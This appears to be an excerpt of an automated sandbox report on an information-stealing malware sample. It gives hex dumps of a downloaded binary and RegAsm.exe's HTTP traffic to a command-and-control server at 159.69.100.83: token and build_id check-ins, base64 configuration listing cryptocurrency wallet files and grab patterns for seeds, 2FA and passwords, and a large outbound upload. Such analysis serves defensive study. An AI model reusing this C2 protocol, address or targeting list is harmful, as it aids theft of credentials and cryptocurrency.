89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQ
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b Data Ascii: Q=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d Data Ascii: @;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 Data Ascii: %D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 Data Ascii: 8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-Mm
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 Data Ascii: `P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rtt
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49739	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:23 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBAEHIJKJKEBFIEGHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 1025 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:23 UTC	1025	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------JJDBAEHIJKJKEBFIEGHICont
2024-09-15 17:37:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:24 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49740	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:24 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:24 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------KKKJEHCGCGDAAAKFHJKJCont
2024-09-15 17:37:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:25 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49741	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:26 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:26 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------FIIIIDGHJEBFBGDHDGIICont
2024-09-15 17:37:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:26 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49742	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:27 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:27 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------AAFBAKECAEGCBFIEGDGICont
2024-09-15 17:37:28 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:28 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49743	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:29 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 98573 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:29 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------BKECFIIEHCFHIECAFBAKCont
2024-09-15 17:37:29 UTC	16355	OUT	Data Raw: 41 44 70 51 4f 4f 39 4c 6a 4e 4a 69 67 59 55 6d 63 39 71 58 76 2f 41 44 6f 46 41 41 66 53 6b 2f 4b 6a 36 30 64 4b 42 69 59 2f 4c 32 6f 50 48 30 70 53 50 2f 31 30 68 47 44 32 6f 41 54 32 2f 6c 53 30 64 71 43 44 69 6b 46 7a 76 61 4b 4b 4b 67 2b 57 49 70 35 70 72 53 78 76 4c 32 48 55 62 66 54 70 30 43 32 39 72 50 63 4c 4b 79 2b 61 35 79 32 50 4c 52 6a 77 69 73 4f 6e 38 51 71 47 35 57 56 58 31 67 61 64 70 70 31 6f 4f 31 76 50 62 51 78 4e 49 69 69 33 6d 33 46 35 41 42 74 62 43 4d 4e 6d 54 67 4c 31 59 56 4a 50 70 30 55 73 59 76 35 6f 4e 30 53 79 69 48 7a 44 6a 41 66 47 63 65 76 53 71 6a 36 46 70 38 6a 46 6a 41 41 54 31 49 72 79 61 32 45 71 31 61 73 71 6c 4f 66 6c 38 75 78 37 32 47 78 39 47 68 52 6a 53 71 30 72 72 66 31 66 63 31 57 33 74 34 6a 31 55 78 61 62 4a Data Ascii: ADpQOO9LjNJigYUmc9qXv/ADoFAAfSk/Kj60dKBiY/L2oPH0pSP/10hGD2oAT2/lS0dqCDikFzvaKKKg+WIp5prSxvL2HUbfTp0C29rPcLKy+a5y2PLRjwisOn8QqG5WVX1gadpp1oO1vPbQxNIii3m3F5ABtbCMNmTgL1YVJPp0UsYv5oN0SyiHzDjAfGcevSqj6Fp8jFjAAT1Irya2Eq1asqlOfl8ux72Gx9GhRjSq0rrf1fc1W3t4j1UxabJ
2024-09-15 17:37:29 UTC	16355	OUT	Data Raw: 30 72 6f 4b 6c 35 4f 71 2f 64 57 52 67 50 70 6d 73 44 78 49 41 62 43 49 39 78 4b 42 2b 68 72 58 4c 45 6b 6b 6e 4a 50 57 75 66 38 52 7a 67 74 44 41 44 30 79 37 66 30 2f 72 58 35 4e 77 7a 47 56 62 4f 4b 54 68 30 62 66 6f 72 50 2f 68 6a 36 6a 69 47 63 61 57 57 56 4f 62 71 6b 76 6e 64 47 46 53 63 30 74 46 66 74 5a 2b 52 68 52 52 52 51 42 33 75 73 6f 4c 32 66 77 5a 70 73 33 4e 74 4d 66 4e 6b 54 73 78 53 4e 53 41 66 62 6b 2f 6e 55 6e 6a 58 57 64 52 74 39 54 30 7a 53 4e 50 75 30 73 66 74 5a 4a 65 35 66 48 41 7a 67 44 50 62 2f 41 50 56 55 32 73 36 58 64 33 6e 68 76 52 37 2f 41 45 34 62 74 51 30 35 49 70 34 6b 2f 76 6a 61 